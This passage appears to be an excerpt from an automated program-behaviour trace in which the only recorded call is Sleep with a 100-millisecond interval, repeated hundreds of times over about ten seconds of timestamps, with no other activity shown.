(dwMilliseconds=0x64) [0288.159] Sleep (dwMilliseconds=0x64) [0288.175] Sleep (dwMilliseconds=0x64) [0288.190] Sleep (dwMilliseconds=0x64) [0288.206] Sleep (dwMilliseconds=0x64) [0288.222] Sleep (dwMilliseconds=0x64) [0288.237] Sleep (dwMilliseconds=0x64) [0288.253] Sleep (dwMilliseconds=0x64) [0288.269] Sleep (dwMilliseconds=0x64) [0288.284] Sleep (dwMilliseconds=0x64) [0288.303] Sleep (dwMilliseconds=0x64) [0288.315] Sleep (dwMilliseconds=0x64) [0288.331] Sleep (dwMilliseconds=0x64) [0288.349] Sleep (dwMilliseconds=0x64) [0288.362] Sleep (dwMilliseconds=0x64) [0288.378] Sleep (dwMilliseconds=0x64) [0288.396] Sleep (dwMilliseconds=0x64) [0288.409] Sleep (dwMilliseconds=0x64) [0288.432] Sleep (dwMilliseconds=0x64) [0288.440] Sleep (dwMilliseconds=0x64) [0288.456] Sleep (dwMilliseconds=0x64) [0288.471] Sleep (dwMilliseconds=0x64) [0288.487] Sleep (dwMilliseconds=0x64) [0288.503] Sleep (dwMilliseconds=0x64) [0288.519] Sleep (dwMilliseconds=0x64) [0288.537] Sleep (dwMilliseconds=0x64) [0288.549] Sleep (dwMilliseconds=0x64) [0288.568] Sleep (dwMilliseconds=0x64) [0288.580] Sleep (dwMilliseconds=0x64) [0288.596] Sleep (dwMilliseconds=0x64) [0288.612] Sleep (dwMilliseconds=0x64) [0288.627] Sleep (dwMilliseconds=0x64) [0288.644] Sleep (dwMilliseconds=0x64) [0288.658] Sleep (dwMilliseconds=0x64) [0288.674] Sleep (dwMilliseconds=0x64) [0288.690] Sleep (dwMilliseconds=0x64) [0288.705] Sleep (dwMilliseconds=0x64) [0288.721] Sleep (dwMilliseconds=0x64) [0288.739] Sleep (dwMilliseconds=0x64) [0288.752] Sleep (dwMilliseconds=0x64) [0288.768] Sleep (dwMilliseconds=0x64) [0288.783] Sleep (dwMilliseconds=0x64) [0288.799] Sleep (dwMilliseconds=0x64) [0288.815] Sleep (dwMilliseconds=0x64) [0288.830] Sleep (dwMilliseconds=0x64) [0288.846] Sleep (dwMilliseconds=0x64) [0288.861] Sleep (dwMilliseconds=0x64) [0288.877] Sleep (dwMilliseconds=0x64) [0288.894] Sleep (dwMilliseconds=0x64) [0288.908] Sleep (dwMilliseconds=0x64) [0288.924] Sleep (dwMilliseconds=0x64) [0288.939] Sleep (dwMilliseconds=0x64) [0288.955] Sleep (dwMilliseconds=0x64) [0288.971] Sleep (dwMilliseconds=0x64) [0288.986] Sleep (dwMilliseconds=0x64) [0289.002] Sleep (dwMilliseconds=0x64) [0289.020] Sleep (dwMilliseconds=0x64) [0289.033] Sleep (dwMilliseconds=0x64) [0289.049] Sleep (dwMilliseconds=0x64) [0289.064] Sleep (dwMilliseconds=0x64) [0289.080] Sleep (dwMilliseconds=0x64) [0289.096] Sleep (dwMilliseconds=0x64) [0289.111] Sleep (dwMilliseconds=0x64) [0289.127] Sleep (dwMilliseconds=0x64) [0289.142] Sleep (dwMilliseconds=0x64) [0289.158] Sleep (dwMilliseconds=0x64) [0289.174] Sleep (dwMilliseconds=0x64) [0289.189] Sleep (dwMilliseconds=0x64) [0289.204] Sleep (dwMilliseconds=0x64) [0289.220] Sleep (dwMilliseconds=0x64) [0289.237] Sleep (dwMilliseconds=0x64) [0289.252] Sleep (dwMilliseconds=0x64) [0289.267] Sleep (dwMilliseconds=0x64) [0289.282] Sleep (dwMilliseconds=0x64) [0289.298] Sleep (dwMilliseconds=0x64) [0289.326] Sleep (dwMilliseconds=0x64) [0289.329] Sleep (dwMilliseconds=0x64) [0289.352] Sleep (dwMilliseconds=0x64) [0289.360] Sleep (dwMilliseconds=0x64) [0289.376] Sleep (dwMilliseconds=0x64) [0289.392] Sleep (dwMilliseconds=0x64) [0289.407] Sleep (dwMilliseconds=0x64) [0289.423] Sleep (dwMilliseconds=0x64) [0289.438] Sleep (dwMilliseconds=0x64) [0289.454] Sleep (dwMilliseconds=0x64) [0289.470] Sleep (dwMilliseconds=0x64) [0289.485] Sleep (dwMilliseconds=0x64) [0289.503] Sleep (dwMilliseconds=0x64) [0289.517] Sleep (dwMilliseconds=0x64) [0289.533] Sleep (dwMilliseconds=0x64) [0289.548] Sleep (dwMilliseconds=0x64) [0289.564] Sleep (dwMilliseconds=0x64) [0289.579] Sleep (dwMilliseconds=0x64) [0289.596] Sleep (dwMilliseconds=0x64) [0289.610] Sleep (dwMilliseconds=0x64) [0289.626] Sleep (dwMilliseconds=0x64) [0289.641] Sleep (dwMilliseconds=0x64) [0289.657] Sleep (dwMilliseconds=0x64) [0289.673] Sleep (dwMilliseconds=0x64) [0289.688] Sleep (dwMilliseconds=0x64) [0289.704] Sleep (dwMilliseconds=0x64) [0289.719] Sleep (dwMilliseconds=0x64) [0289.735] Sleep (dwMilliseconds=0x64) [0289.751] Sleep (dwMilliseconds=0x64) [0289.766] Sleep (dwMilliseconds=0x64) [0289.782] Sleep (dwMilliseconds=0x64) [0289.797] Sleep (dwMilliseconds=0x64) [0289.813] Sleep (dwMilliseconds=0x64) [0289.828] Sleep (dwMilliseconds=0x64) [0289.844] Sleep (dwMilliseconds=0x64) [0289.860] Sleep (dwMilliseconds=0x64) [0289.875] Sleep (dwMilliseconds=0x64) [0289.891] Sleep (dwMilliseconds=0x64) [0289.906] Sleep (dwMilliseconds=0x64) [0289.922] Sleep (dwMilliseconds=0x64) [0289.938] Sleep (dwMilliseconds=0x64) [0289.954] Sleep (dwMilliseconds=0x64) [0289.973] Sleep (dwMilliseconds=0x64) [0289.985] Sleep (dwMilliseconds=0x64) [0290.000] Sleep (dwMilliseconds=0x64) [0290.016] Sleep (dwMilliseconds=0x64) [0290.031] Sleep (dwMilliseconds=0x64) [0290.047] Sleep (dwMilliseconds=0x64) [0290.062] Sleep (dwMilliseconds=0x64) [0290.078] Sleep (dwMilliseconds=0x64) [0290.094] Sleep (dwMilliseconds=0x64) [0290.110] Sleep (dwMilliseconds=0x64) [0290.125] Sleep (dwMilliseconds=0x64) [0290.140] Sleep (dwMilliseconds=0x64) [0290.157] Sleep (dwMilliseconds=0x64) [0290.172] Sleep (dwMilliseconds=0x64) [0290.188] Sleep (dwMilliseconds=0x64) [0290.203] Sleep (dwMilliseconds=0x64) [0290.219] Sleep (dwMilliseconds=0x64) [0290.235] Sleep (dwMilliseconds=0x64) [0290.250] Sleep (dwMilliseconds=0x64) [0290.265] Sleep (dwMilliseconds=0x64) [0290.281] Sleep (dwMilliseconds=0x64) [0290.297] Sleep (dwMilliseconds=0x64) [0290.317] Sleep (dwMilliseconds=0x64) [0290.328] Sleep (dwMilliseconds=0x64) [0290.346] Sleep (dwMilliseconds=0x64) [0290.360] Sleep (dwMilliseconds=0x64) [0290.374] Sleep (dwMilliseconds=0x64) [0290.390] Sleep (dwMilliseconds=0x64) [0290.407] Sleep (dwMilliseconds=0x64) [0290.421] Sleep (dwMilliseconds=0x64) [0290.437] Sleep (dwMilliseconds=0x64) [0290.453] Sleep (dwMilliseconds=0x64) [0290.468] Sleep (dwMilliseconds=0x64) [0290.486] Sleep (dwMilliseconds=0x64) [0290.499] Sleep (dwMilliseconds=0x64) [0290.515] Sleep (dwMilliseconds=0x64) [0290.531] Sleep (dwMilliseconds=0x64) [0290.546] Sleep (dwMilliseconds=0x64) [0290.562] Sleep (dwMilliseconds=0x64) [0290.577] Sleep (dwMilliseconds=0x64) [0290.593] Sleep (dwMilliseconds=0x64) [0290.609] Sleep (dwMilliseconds=0x64) [0290.624] Sleep (dwMilliseconds=0x64) [0290.640] Sleep (dwMilliseconds=0x64) [0290.656] Sleep (dwMilliseconds=0x64) [0290.671] Sleep (dwMilliseconds=0x64) [0290.686] Sleep (dwMilliseconds=0x64) [0290.704] Sleep (dwMilliseconds=0x64) [0290.718] Sleep (dwMilliseconds=0x64) [0290.733] Sleep (dwMilliseconds=0x64) [0290.749] Sleep (dwMilliseconds=0x64) [0290.765] Sleep (dwMilliseconds=0x64) [0290.780] Sleep (dwMilliseconds=0x64) [0290.796] Sleep (dwMilliseconds=0x64) [0290.813] Sleep (dwMilliseconds=0x64) [0290.827] Sleep (dwMilliseconds=0x64) [0290.842] Sleep (dwMilliseconds=0x64) [0290.858] Sleep (dwMilliseconds=0x64) [0290.874] Sleep (dwMilliseconds=0x64) [0290.890] Sleep (dwMilliseconds=0x64) [0290.905] Sleep (dwMilliseconds=0x64) [0290.921] Sleep (dwMilliseconds=0x64) [0290.936] Sleep (dwMilliseconds=0x64) [0290.952] Sleep (dwMilliseconds=0x64) [0290.972] Sleep (dwMilliseconds=0x64) [0290.983] Sleep (dwMilliseconds=0x64) [0290.998] Sleep (dwMilliseconds=0x64) [0291.014] Sleep (dwMilliseconds=0x64) [0291.030] Sleep (dwMilliseconds=0x64) [0291.045] Sleep (dwMilliseconds=0x64) [0291.061] Sleep (dwMilliseconds=0x64) [0291.077] Sleep (dwMilliseconds=0x64) [0291.092] Sleep (dwMilliseconds=0x64) [0291.108] Sleep (dwMilliseconds=0x64) [0291.124] Sleep (dwMilliseconds=0x64) [0291.139] Sleep (dwMilliseconds=0x64) [0291.154] Sleep (dwMilliseconds=0x64) [0291.170] Sleep (dwMilliseconds=0x64) [0291.186] Sleep (dwMilliseconds=0x64) [0291.202] Sleep (dwMilliseconds=0x64) [0291.217] Sleep (dwMilliseconds=0x64) [0291.233] Sleep (dwMilliseconds=0x64) [0291.248] Sleep (dwMilliseconds=0x64) [0291.264] Sleep (dwMilliseconds=0x64) [0291.279] Sleep (dwMilliseconds=0x64) [0291.296] Sleep (dwMilliseconds=0x64) [0291.311] Sleep (dwMilliseconds=0x64) [0291.340] Sleep (dwMilliseconds=0x64) [0291.341] Sleep (dwMilliseconds=0x64) [0291.360] Sleep (dwMilliseconds=0x64) [0291.373] Sleep (dwMilliseconds=0x64) [0291.388] Sleep (dwMilliseconds=0x64) [0291.404] Sleep (dwMilliseconds=0x64) [0291.420] Sleep (dwMilliseconds=0x64) [0291.435] Sleep (dwMilliseconds=0x64) [0291.451] Sleep (dwMilliseconds=0x64) [0291.466] Sleep (dwMilliseconds=0x64) [0291.483] Sleep (dwMilliseconds=0x64) [0291.498] Sleep (dwMilliseconds=0x64) [0291.513] Sleep (dwMilliseconds=0x64) [0291.529] Sleep (dwMilliseconds=0x64) [0291.545] Sleep (dwMilliseconds=0x64) [0291.560] Sleep (dwMilliseconds=0x64) [0291.576] Sleep (dwMilliseconds=0x64) [0291.591] Sleep (dwMilliseconds=0x64) [0291.607] Sleep (dwMilliseconds=0x64) [0291.622] Sleep (dwMilliseconds=0x64) [0291.638] Sleep (dwMilliseconds=0x64) [0291.654] Sleep (dwMilliseconds=0x64) [0291.669] Sleep (dwMilliseconds=0x64) [0291.685] Sleep (dwMilliseconds=0x64) [0291.701] Sleep (dwMilliseconds=0x64) [0291.716] Sleep (dwMilliseconds=0x64) [0291.732] Sleep (dwMilliseconds=0x64) [0291.748] Sleep (dwMilliseconds=0x64) [0291.763] Sleep (dwMilliseconds=0x64) [0291.779] Sleep (dwMilliseconds=0x64) [0291.794] Sleep (dwMilliseconds=0x64) [0291.810] Sleep (dwMilliseconds=0x64) [0291.826] Sleep (dwMilliseconds=0x64) [0291.841] Sleep (dwMilliseconds=0x64) [0291.857] Sleep (dwMilliseconds=0x64) [0291.872] Sleep (dwMilliseconds=0x64) [0291.888] Sleep (dwMilliseconds=0x64) [0291.903] Sleep (dwMilliseconds=0x64) [0291.919] Sleep (dwMilliseconds=0x64) [0291.934] Sleep (dwMilliseconds=0x64) [0291.958] Sleep (dwMilliseconds=0x64) [0291.969] Sleep (dwMilliseconds=0x64) [0291.981] Sleep (dwMilliseconds=0x64) [0291.997] Sleep (dwMilliseconds=0x64) [0292.012] Sleep (dwMilliseconds=0x64) [0292.028] Sleep (dwMilliseconds=0x64) [0292.044] Sleep (dwMilliseconds=0x64) [0292.059] Sleep (dwMilliseconds=0x64) [0292.075] Sleep (dwMilliseconds=0x64) [0292.091] Sleep (dwMilliseconds=0x64) [0292.106] Sleep (dwMilliseconds=0x64) [0292.122] Sleep (dwMilliseconds=0x64) [0292.137] Sleep (dwMilliseconds=0x64) [0292.153] Sleep (dwMilliseconds=0x64) [0292.169] Sleep (dwMilliseconds=0x64) [0292.184] Sleep (dwMilliseconds=0x64) [0292.200] Sleep (dwMilliseconds=0x64) [0292.215] Sleep (dwMilliseconds=0x64) [0292.231] Sleep (dwMilliseconds=0x64) [0292.247] Sleep (dwMilliseconds=0x64) [0292.262] Sleep (dwMilliseconds=0x64) [0292.278] Sleep (dwMilliseconds=0x64) [0292.293] Sleep (dwMilliseconds=0x64) [0292.309] Sleep (dwMilliseconds=0x64) [0292.327] Sleep (dwMilliseconds=0x64) [0292.340] Sleep (dwMilliseconds=0x64) [0292.360] Sleep (dwMilliseconds=0x64) [0292.371] Sleep (dwMilliseconds=0x64) [0292.387] Sleep (dwMilliseconds=0x64) [0292.402] Sleep (dwMilliseconds=0x64) [0292.418] Sleep (dwMilliseconds=0x64) [0292.434] Sleep (dwMilliseconds=0x64) [0292.450] Sleep (dwMilliseconds=0x64) [0292.465] Sleep (dwMilliseconds=0x64) [0292.481] Sleep (dwMilliseconds=0x64) [0292.496] Sleep (dwMilliseconds=0x64) [0292.512] Sleep (dwMilliseconds=0x64) [0292.527] Sleep (dwMilliseconds=0x64) [0292.544] Sleep (dwMilliseconds=0x64) [0292.559] Sleep (dwMilliseconds=0x64) [0292.574] Sleep (dwMilliseconds=0x64) [0292.590] Sleep (dwMilliseconds=0x64) [0292.606] Sleep (dwMilliseconds=0x64) [0292.621] Sleep (dwMilliseconds=0x64) [0292.636] Sleep (dwMilliseconds=0x64) [0292.652] Sleep (dwMilliseconds=0x64) [0292.668] Sleep (dwMilliseconds=0x64) [0292.683] Sleep (dwMilliseconds=0x64) [0292.699] Sleep (dwMilliseconds=0x64) [0292.715] Sleep (dwMilliseconds=0x64) [0292.731] Sleep (dwMilliseconds=0x64) [0292.746] Sleep (dwMilliseconds=0x64) [0292.761] Sleep (dwMilliseconds=0x64) [0292.777] Sleep (dwMilliseconds=0x64) [0292.793] Sleep (dwMilliseconds=0x64) [0292.808] Sleep (dwMilliseconds=0x64) [0292.824] Sleep (dwMilliseconds=0x64) [0292.842] Sleep (dwMilliseconds=0x64) [0292.855] Sleep (dwMilliseconds=0x64) [0292.870] Sleep (dwMilliseconds=0x64) [0292.887] Sleep (dwMilliseconds=0x64) [0292.902] Sleep (dwMilliseconds=0x64) [0292.917] Sleep (dwMilliseconds=0x64) [0292.933] Sleep (dwMilliseconds=0x64) [0292.949] Sleep (dwMilliseconds=0x64) [0292.964] Sleep (dwMilliseconds=0x64) [0292.980] Sleep (dwMilliseconds=0x64) [0292.995] Sleep (dwMilliseconds=0x64) [0293.011] Sleep (dwMilliseconds=0x64) [0293.026] Sleep (dwMilliseconds=0x64) [0293.042] Sleep (dwMilliseconds=0x64) [0293.058] Sleep (dwMilliseconds=0x64) [0293.073] Sleep (dwMilliseconds=0x64) [0293.092] Sleep (dwMilliseconds=0x64) [0293.105] Sleep (dwMilliseconds=0x64) [0293.120] Sleep (dwMilliseconds=0x64) [0293.136] Sleep (dwMilliseconds=0x64) [0293.152] Sleep (dwMilliseconds=0x64) [0293.168] Sleep (dwMilliseconds=0x64) [0293.182] Sleep (dwMilliseconds=0x64) [0293.198] Sleep (dwMilliseconds=0x64) [0293.214] Sleep (dwMilliseconds=0x64) [0293.229] Sleep (dwMilliseconds=0x64) [0293.245] Sleep (dwMilliseconds=0x64) [0293.261] Sleep (dwMilliseconds=0x64) [0293.276] Sleep (dwMilliseconds=0x64) [0293.292] Sleep (dwMilliseconds=0x64) [0293.308] Sleep (dwMilliseconds=0x64) [0293.323] Sleep (dwMilliseconds=0x64) [0293.352] Sleep (dwMilliseconds=0x64) [0293.357] Sleep (dwMilliseconds=0x64) [0293.370] Sleep (dwMilliseconds=0x64) [0293.385] Sleep (dwMilliseconds=0x64) [0293.401] Sleep (dwMilliseconds=0x64) [0293.417] Sleep (dwMilliseconds=0x64) [0293.432] Sleep (dwMilliseconds=0x64) [0293.448] Sleep (dwMilliseconds=0x64) [0293.463] Sleep (dwMilliseconds=0x64) [0293.479] Sleep (dwMilliseconds=0x64) [0293.494] Sleep (dwMilliseconds=0x64) [0293.510] Sleep (dwMilliseconds=0x64) [0293.526] Sleep (dwMilliseconds=0x64) [0293.541] Sleep (dwMilliseconds=0x64) [0293.557] Sleep (dwMilliseconds=0x64) [0293.574] Sleep (dwMilliseconds=0x64) [0293.588] Sleep (dwMilliseconds=0x64) [0293.604] Sleep (dwMilliseconds=0x64) [0293.619] Sleep (dwMilliseconds=0x64) [0293.635] Sleep (dwMilliseconds=0x64) [0293.650] Sleep (dwMilliseconds=0x64) [0293.667] Sleep (dwMilliseconds=0x64) [0293.682] Sleep (dwMilliseconds=0x64) [0293.701] Sleep (dwMilliseconds=0x64) [0293.713] Sleep (dwMilliseconds=0x64) [0293.729] Sleep (dwMilliseconds=0x64) [0293.744] Sleep (dwMilliseconds=0x64) [0293.760] Sleep (dwMilliseconds=0x64) [0293.775] Sleep (dwMilliseconds=0x64) [0293.791] Sleep (dwMilliseconds=0x64) [0293.807] Sleep (dwMilliseconds=0x64) [0293.822] Sleep (dwMilliseconds=0x64) [0293.838] Sleep (dwMilliseconds=0x64) [0293.853] Sleep (dwMilliseconds=0x64) [0293.869] Sleep (dwMilliseconds=0x64) [0293.884] Sleep (dwMilliseconds=0x64) [0293.900] Sleep (dwMilliseconds=0x64) [0293.916] Sleep (dwMilliseconds=0x64) [0293.931] Sleep (dwMilliseconds=0x64) [0293.948] Sleep (dwMilliseconds=0x64) [0293.962] Sleep (dwMilliseconds=0x64) [0293.978] Sleep (dwMilliseconds=0x64) [0293.994] Sleep (dwMilliseconds=0x64) [0294.009] Sleep (dwMilliseconds=0x64) [0294.025] Sleep (dwMilliseconds=0x64) [0294.044] Sleep (dwMilliseconds=0x64) [0294.056] Sleep (dwMilliseconds=0x64) [0294.072] Sleep (dwMilliseconds=0x64) [0294.087] Sleep (dwMilliseconds=0x64) [0294.103] Sleep (dwMilliseconds=0x64) [0294.119] Sleep (dwMilliseconds=0x64) [0294.134] Sleep (dwMilliseconds=0x64) [0294.150] Sleep (dwMilliseconds=0x64) [0294.165] Sleep (dwMilliseconds=0x64) [0294.181] Sleep (dwMilliseconds=0x64) [0294.196] Sleep (dwMilliseconds=0x64) [0294.212] Sleep (dwMilliseconds=0x64) [0294.228] Sleep (dwMilliseconds=0x64) [0294.244] Sleep (dwMilliseconds=0x64) [0294.259] Sleep (dwMilliseconds=0x64) [0294.274] Sleep (dwMilliseconds=0x64) [0294.290] Sleep (dwMilliseconds=0x64) [0294.306] Sleep (dwMilliseconds=0x64) [0294.321] Sleep (dwMilliseconds=0x64) [0294.339] Sleep (dwMilliseconds=0x64) [0294.357] Sleep (dwMilliseconds=0x64) [0294.368] Sleep (dwMilliseconds=0x64) [0294.384] Sleep (dwMilliseconds=0x64) [0294.399] Sleep (dwMilliseconds=0x64) [0294.415] Sleep (dwMilliseconds=0x64) [0294.430] Sleep (dwMilliseconds=0x64) [0294.446] Sleep (dwMilliseconds=0x64) [0294.462] Sleep (dwMilliseconds=0x64) [0294.477] Sleep (dwMilliseconds=0x64) [0294.493] Sleep (dwMilliseconds=0x64) [0294.508] Sleep (dwMilliseconds=0x64) [0294.524] Sleep (dwMilliseconds=0x64) [0294.540] Sleep (dwMilliseconds=0x64) [0294.555] Sleep (dwMilliseconds=0x64) [0294.571] Sleep (dwMilliseconds=0x64) [0294.586] Sleep (dwMilliseconds=0x64) [0294.602] Sleep (dwMilliseconds=0x64) [0294.618] Sleep (dwMilliseconds=0x64) [0294.633] Sleep (dwMilliseconds=0x64) [0294.649] Sleep (dwMilliseconds=0x64) [0294.664] Sleep (dwMilliseconds=0x64) [0294.680] Sleep (dwMilliseconds=0x64) [0294.695] Sleep (dwMilliseconds=0x64) [0294.711] Sleep (dwMilliseconds=0x64) [0294.727] Sleep (dwMilliseconds=0x64) [0294.742] Sleep (dwMilliseconds=0x64) [0294.758] Sleep (dwMilliseconds=0x64) [0294.776] Sleep (dwMilliseconds=0x64) [0294.789] Sleep (dwMilliseconds=0x64) [0294.821] Sleep (dwMilliseconds=0x64) [0294.836] Sleep (dwMilliseconds=0x64) [0294.851] Sleep (dwMilliseconds=0x64) [0294.867] Sleep (dwMilliseconds=0x64) [0294.883] Sleep (dwMilliseconds=0x64) [0294.898] Sleep (dwMilliseconds=0x64) [0294.914] Sleep (dwMilliseconds=0x64) [0294.929] Sleep (dwMilliseconds=0x64) [0294.945] Sleep (dwMilliseconds=0x64) [0294.961] Sleep (dwMilliseconds=0x64) [0294.976] Sleep (dwMilliseconds=0x64) [0294.992] Sleep (dwMilliseconds=0x64) [0295.009] Sleep (dwMilliseconds=0x64) [0295.023] Sleep (dwMilliseconds=0x64) [0295.039] Sleep (dwMilliseconds=0x64) [0295.061] Sleep (dwMilliseconds=0x64) [0295.070] Sleep (dwMilliseconds=0x64) [0295.085] Sleep (dwMilliseconds=0x64) [0295.101] Sleep (dwMilliseconds=0x64) [0295.117] Sleep (dwMilliseconds=0x64) [0295.132] Sleep (dwMilliseconds=0x64) [0295.148] Sleep (dwMilliseconds=0x64) [0295.163] Sleep (dwMilliseconds=0x64) [0295.179] Sleep (dwMilliseconds=0x64) [0295.195] Sleep (dwMilliseconds=0x64) [0295.211] Sleep (dwMilliseconds=0x64) [0295.226] Sleep (dwMilliseconds=0x64) [0295.241] Sleep (dwMilliseconds=0x64) [0295.257] Sleep (dwMilliseconds=0x64) [0295.273] Sleep (dwMilliseconds=0x64) [0295.288] Sleep (dwMilliseconds=0x64) [0295.304] Sleep (dwMilliseconds=0x64) [0295.319] Sleep (dwMilliseconds=0x64) [0295.336] Sleep (dwMilliseconds=0x64) [0295.356] Sleep (dwMilliseconds=0x64) [0295.366] Sleep (dwMilliseconds=0x64) [0295.382] Sleep (dwMilliseconds=0x64) [0295.398] Sleep (dwMilliseconds=0x64) [0295.414] Sleep (dwMilliseconds=0x64) [0295.429] Sleep (dwMilliseconds=0x64) [0295.444] Sleep (dwMilliseconds=0x64) [0295.460] Sleep (dwMilliseconds=0x64) [0295.475] Sleep (dwMilliseconds=0x64) [0295.491] Sleep (dwMilliseconds=0x64) [0295.508] Sleep (dwMilliseconds=0x64) [0295.522] Sleep (dwMilliseconds=0x64) [0295.538] Sleep (dwMilliseconds=0x64) [0295.553] Sleep (dwMilliseconds=0x64) [0295.569] Sleep (dwMilliseconds=0x64) [0295.585] Sleep (dwMilliseconds=0x64) [0295.601] Sleep (dwMilliseconds=0x64) [0295.619] Sleep (dwMilliseconds=0x64) [0295.632] Sleep (dwMilliseconds=0x64) [0295.649] Sleep (dwMilliseconds=0x64) [0295.663] Sleep (dwMilliseconds=0x64) [0295.681] Sleep (dwMilliseconds=0x64) [0295.694] Sleep (dwMilliseconds=0x64) [0295.713] Sleep (dwMilliseconds=0x64) [0295.726] Sleep (dwMilliseconds=0x64) [0295.741] Sleep (dwMilliseconds=0x64) [0295.756] Sleep (dwMilliseconds=0x64) [0295.772] Sleep (dwMilliseconds=0x64) [0295.788] Sleep (dwMilliseconds=0x64) [0295.803] Sleep (dwMilliseconds=0x64) [0295.819] Sleep (dwMilliseconds=0x64) [0295.835] Sleep (dwMilliseconds=0x64) [0295.852] Sleep (dwMilliseconds=0x64) [0295.866] Sleep (dwMilliseconds=0x64) [0295.881] Sleep (dwMilliseconds=0x64) [0295.897] Sleep (dwMilliseconds=0x64) [0295.913] Sleep (dwMilliseconds=0x64) [0295.928] Sleep (dwMilliseconds=0x64) [0295.945] Sleep (dwMilliseconds=0x64) [0295.981] Sleep (dwMilliseconds=0x64) [0295.990] Sleep (dwMilliseconds=0x64) [0296.006] Sleep (dwMilliseconds=0x64) [0296.021] Sleep (dwMilliseconds=0x64) [0296.037] Sleep (dwMilliseconds=0x64) [0296.053] Sleep (dwMilliseconds=0x64) [0296.069] Sleep (dwMilliseconds=0x64) [0296.084] Sleep (dwMilliseconds=0x64) [0296.100] Sleep (dwMilliseconds=0x64) [0296.115] Sleep (dwMilliseconds=0x64) [0296.133] Sleep (dwMilliseconds=0x64) [0296.147] Sleep (dwMilliseconds=0x64) [0296.162] Sleep (dwMilliseconds=0x64) [0296.178] Sleep (dwMilliseconds=0x64) [0296.193] Sleep (dwMilliseconds=0x64) [0296.209] Sleep (dwMilliseconds=0x64) [0296.225] Sleep (dwMilliseconds=0x64) [0296.240] Sleep (dwMilliseconds=0x64) [0296.256] Sleep (dwMilliseconds=0x64) [0296.272] Sleep (dwMilliseconds=0x64) [0296.288] Sleep (dwMilliseconds=0x64) [0296.303] Sleep (dwMilliseconds=0x64) [0296.318] Sleep (dwMilliseconds=0x64) [0296.334] Sleep (dwMilliseconds=0x64) [0296.372] Sleep (dwMilliseconds=0x64) [0296.380] Sleep (dwMilliseconds=0x64) [0296.396] Sleep (dwMilliseconds=0x64) [0296.412] Sleep (dwMilliseconds=0x64) [0296.428] Sleep (dwMilliseconds=0x64) [0296.443] Sleep (dwMilliseconds=0x64) [0296.458] Sleep (dwMilliseconds=0x64) [0296.475] Sleep (dwMilliseconds=0x64) [0296.490] Sleep (dwMilliseconds=0x64) [0296.505] Sleep (dwMilliseconds=0x64) [0296.521] Sleep (dwMilliseconds=0x64) [0296.536] Sleep (dwMilliseconds=0x64) [0296.554] Sleep (dwMilliseconds=0x64) [0296.568] Sleep (dwMilliseconds=0x64) [0296.584] Sleep (dwMilliseconds=0x64) [0296.599] Sleep (dwMilliseconds=0x64) [0296.615] Sleep (dwMilliseconds=0x64) [0296.630] Sleep (dwMilliseconds=0x64) [0296.646] Sleep (dwMilliseconds=0x64) [0296.661] Sleep (dwMilliseconds=0x64) [0296.677] Sleep (dwMilliseconds=0x64) [0296.693] Sleep (dwMilliseconds=0x64) [0296.708] Sleep (dwMilliseconds=0x64) [0296.724] Sleep (dwMilliseconds=0x64) [0296.739] Sleep (dwMilliseconds=0x64) [0296.755] Sleep (dwMilliseconds=0x64) [0296.772] Sleep (dwMilliseconds=0x64) [0296.786] Sleep (dwMilliseconds=0x64) [0296.802] Sleep (dwMilliseconds=0x64) [0296.817] Sleep (dwMilliseconds=0x64) [0296.833] Sleep (dwMilliseconds=0x64) [0296.848] Sleep (dwMilliseconds=0x64) [0296.864] Sleep (dwMilliseconds=0x64) [0296.881] Sleep (dwMilliseconds=0x64) [0296.895] Sleep (dwMilliseconds=0x64) [0296.911] Sleep (dwMilliseconds=0x64) [0296.927] Sleep (dwMilliseconds=0x64) [0296.942] Sleep (dwMilliseconds=0x64) [0296.958] Sleep (dwMilliseconds=0x64) [0296.973] Sleep (dwMilliseconds=0x64) [0296.989] Sleep (dwMilliseconds=0x64) [0297.004] Sleep (dwMilliseconds=0x64) [0297.020] Sleep (dwMilliseconds=0x64) [0297.039] Sleep (dwMilliseconds=0x64) [0297.051] Sleep (dwMilliseconds=0x64) [0297.067] Sleep (dwMilliseconds=0x64) [0297.082] Sleep (dwMilliseconds=0x64) [0297.098] Sleep (dwMilliseconds=0x64) [0297.114] Sleep (dwMilliseconds=0x64) [0297.130] Sleep (dwMilliseconds=0x64) [0297.146] Sleep (dwMilliseconds=0x64) [0297.161] Sleep (dwMilliseconds=0x64) [0297.176] Sleep (dwMilliseconds=0x64) [0297.192] Sleep (dwMilliseconds=0x64) [0297.207] Sleep (dwMilliseconds=0x64) [0297.223] Sleep (dwMilliseconds=0x64) [0297.239] Sleep (dwMilliseconds=0x64) [0297.254] Sleep (dwMilliseconds=0x64) [0297.270] Sleep (dwMilliseconds=0x64) [0297.285] Sleep (dwMilliseconds=0x64) [0297.301] Sleep (dwMilliseconds=0x64) [0297.316] Sleep (dwMilliseconds=0x64) [0297.332] Sleep (dwMilliseconds=0x64) [0297.357] Sleep (dwMilliseconds=0x64) [0297.367] Sleep (dwMilliseconds=0x64) [0297.379] Sleep (dwMilliseconds=0x64) [0297.394] Sleep (dwMilliseconds=0x64) [0297.410] Sleep (dwMilliseconds=0x64) [0297.426] Sleep (dwMilliseconds=0x64) [0297.443] Sleep (dwMilliseconds=0x64) [0297.458] Sleep (dwMilliseconds=0x64) [0297.473] Sleep (dwMilliseconds=0x64) [0297.488] Sleep (dwMilliseconds=0x64) [0297.504] Sleep (dwMilliseconds=0x64) [0297.519] Sleep (dwMilliseconds=0x64) [0297.535] Sleep (dwMilliseconds=0x64) [0297.551] Sleep (dwMilliseconds=0x64) [0297.566] Sleep (dwMilliseconds=0x64) [0297.582] Sleep (dwMilliseconds=0x64) [0297.597] Sleep (dwMilliseconds=0x64) [0297.613] Sleep (dwMilliseconds=0x64) [0297.629] Sleep (dwMilliseconds=0x64) [0297.644] Sleep (dwMilliseconds=0x64) [0297.660] Sleep (dwMilliseconds=0x64) [0297.676] Sleep (dwMilliseconds=0x64) [0297.691] Sleep (dwMilliseconds=0x64) [0297.711] Sleep (dwMilliseconds=0x64) [0297.722] Sleep (dwMilliseconds=0x64) [0297.738] Sleep (dwMilliseconds=0x64) [0297.753] Sleep (dwMilliseconds=0x64) [0297.769] Sleep (dwMilliseconds=0x64) [0297.785] Sleep (dwMilliseconds=0x64) [0297.800] Sleep (dwMilliseconds=0x64) [0297.816] Sleep (dwMilliseconds=0x64) [0297.831] Sleep (dwMilliseconds=0x64) [0297.847] Sleep (dwMilliseconds=0x64) [0297.863] Sleep (dwMilliseconds=0x64) [0297.878] Sleep (dwMilliseconds=0x64) [0297.894] Sleep (dwMilliseconds=0x64) [0297.911] Sleep (dwMilliseconds=0x64) [0297.925] Sleep (dwMilliseconds=0x64) [0297.940] 